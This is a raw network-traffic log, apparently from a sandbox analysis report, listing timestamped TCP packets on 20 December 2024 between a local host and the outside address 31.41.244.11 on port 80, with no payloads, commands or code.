Dec 20, 2024 16:08:19.872324944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.873265982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.873517036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.873573065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.874511003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.874562979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.874728918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.874772072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.875693083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.875745058 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.875885963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.875924110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.876876116 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.877409935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.877464056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.878186941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.878248930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.878637075 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.878690004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.879450083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.879503012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.879760027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.879817963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.880454063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.880501986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.880701065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.880855083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.881726027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.881776094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.881936073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.881983995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.884499073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.884601116 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.885446072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.885499001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.887242079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.887254000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.887310982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.890109062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.890121937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.890172005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.892853975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.892920017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.893785000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.893855095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.894793987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.894845009 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.895642042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.895721912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.898449898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.898462057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.898499966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.902335882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.902352095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.902393103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.902434111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.904032946 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.904055119 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.904109001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.907819033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.907831907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.907867908 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.907907963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.909679890 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.909696102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.909742117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.912585974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.912673950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.913420916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.913469076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.915246964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.915260077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.915307999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.918056965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.918114901 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.918962002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.919042110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.921766996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.921837091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.922252893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.922310114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.924185038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.924202919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.924257994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.928163052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.928178072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.928229094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.930160046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.930221081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.931229115 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.931474924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.933207989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.933279991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.933348894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.933391094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.935941935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.936203003 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.937094927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.937158108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.938221931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.938234091 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.938292027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.941379070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.941426992 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.941848993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.941898108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.944247961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.944437027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.945136070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.945198059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.946043968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.946058035 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.946113110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.946976900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.946997881 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.947029114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.947055101 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.947922945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.947945118 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.947969913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.947993040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.948895931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.948916912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.948929071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.948964119 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.949012995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.949801922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.949815989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.949866056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.950813055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.950825930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.950860023 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.950902939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.951744080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.951756001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.951803923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.952960014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.953016043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.953280926 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.953341961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.955740929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955754995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955766916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955779076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955790043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955801010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955809116 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.955812931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.955873966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.956933022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.956945896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.956996918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.957887888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.957936049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.958064079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.958076000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.958106041 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.958137035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.958657026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.958702087 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.958832979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.959064007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.959633112 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.959645987 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.959681034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.959707975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.960762024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.960774899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.960818052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.960841894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:19.961709976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.961723089 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:19.961766005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.060079098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.060219049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.060672998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.060687065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.060733080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.061158895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.061212063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.061887980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.061939001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.062148094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.062194109 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.063081980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.063158035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.063416958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.063463926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.063800097 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.063846111 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.064738989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.064793110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.065020084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.065073967 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.065877914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.065932989 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.066070080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.066117048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.067163944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.067213058 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.067322969 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.067380905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.068363905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.068413019 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.069190025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.069240093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.069480896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.069493055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.069530964 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.070705891 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.070765018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.071212053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.071259975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.071846962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.071893930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.072125912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.072170019 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.073043108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.073100090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.073358059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.073425055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.074312925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.074361086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.074516058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.074558973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.077147007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.077214956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.078059912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.078111887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.080007076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.080061913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.080868959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.080923080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.083688974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.083703041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.083751917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.085550070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.085562944 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.085613966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.089282990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.089298010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.089356899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.091145039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.091156960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.091217995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.093997002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.094873905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.094917059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.094978094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.097696066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.097752094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.098587990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.098637104 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.099545956 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.099600077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.100486040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.100532055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.103250980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.103265047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.103324890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.105134964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.105192900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.106108904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.106159925 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.108927965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.108995914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.109870911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.109926939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.110759974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.110827923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.111694098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.111761093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.114902020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.114917994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.114989996 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.117768049 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.117835999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.118660927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.118715048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.119654894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.119713068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.120572090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.120629072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.123363018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.123378038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.123548031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.126208067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.126298904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.127064943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.127130032 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.128009081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.128073931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.129013062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.129079103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.131805897 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.131818056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.131869078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.133610010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.133672953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.134573936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.134629965 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.136902094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.136955976 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.137797117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.137855053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.138844013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.138855934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.138911963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.139801025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.139813900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.139868975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.140621901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.140635014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.140677929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.141555071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.141567945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.141609907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.142537117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.142549992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.142560005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.142594099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.142617941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.143429041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.143444061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.143487930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.144337893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.144350052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.144397020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.145312071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.145324945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.145365953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.146223068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.146235943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.146279097 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.147151947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.147165060 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.147176027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.147208929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.147228956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.148092031 CET	80	49965	31.41.244.11	192.168.2.5
